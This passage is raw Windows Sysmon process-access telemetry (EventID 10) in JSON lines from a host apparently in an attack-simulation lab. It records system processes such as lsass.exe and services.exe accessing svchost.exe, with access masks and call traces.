11:49:49.844","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1050,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 944\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.844","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"944","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1051,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1052,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1053,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1054,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1055,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1056,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1057,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 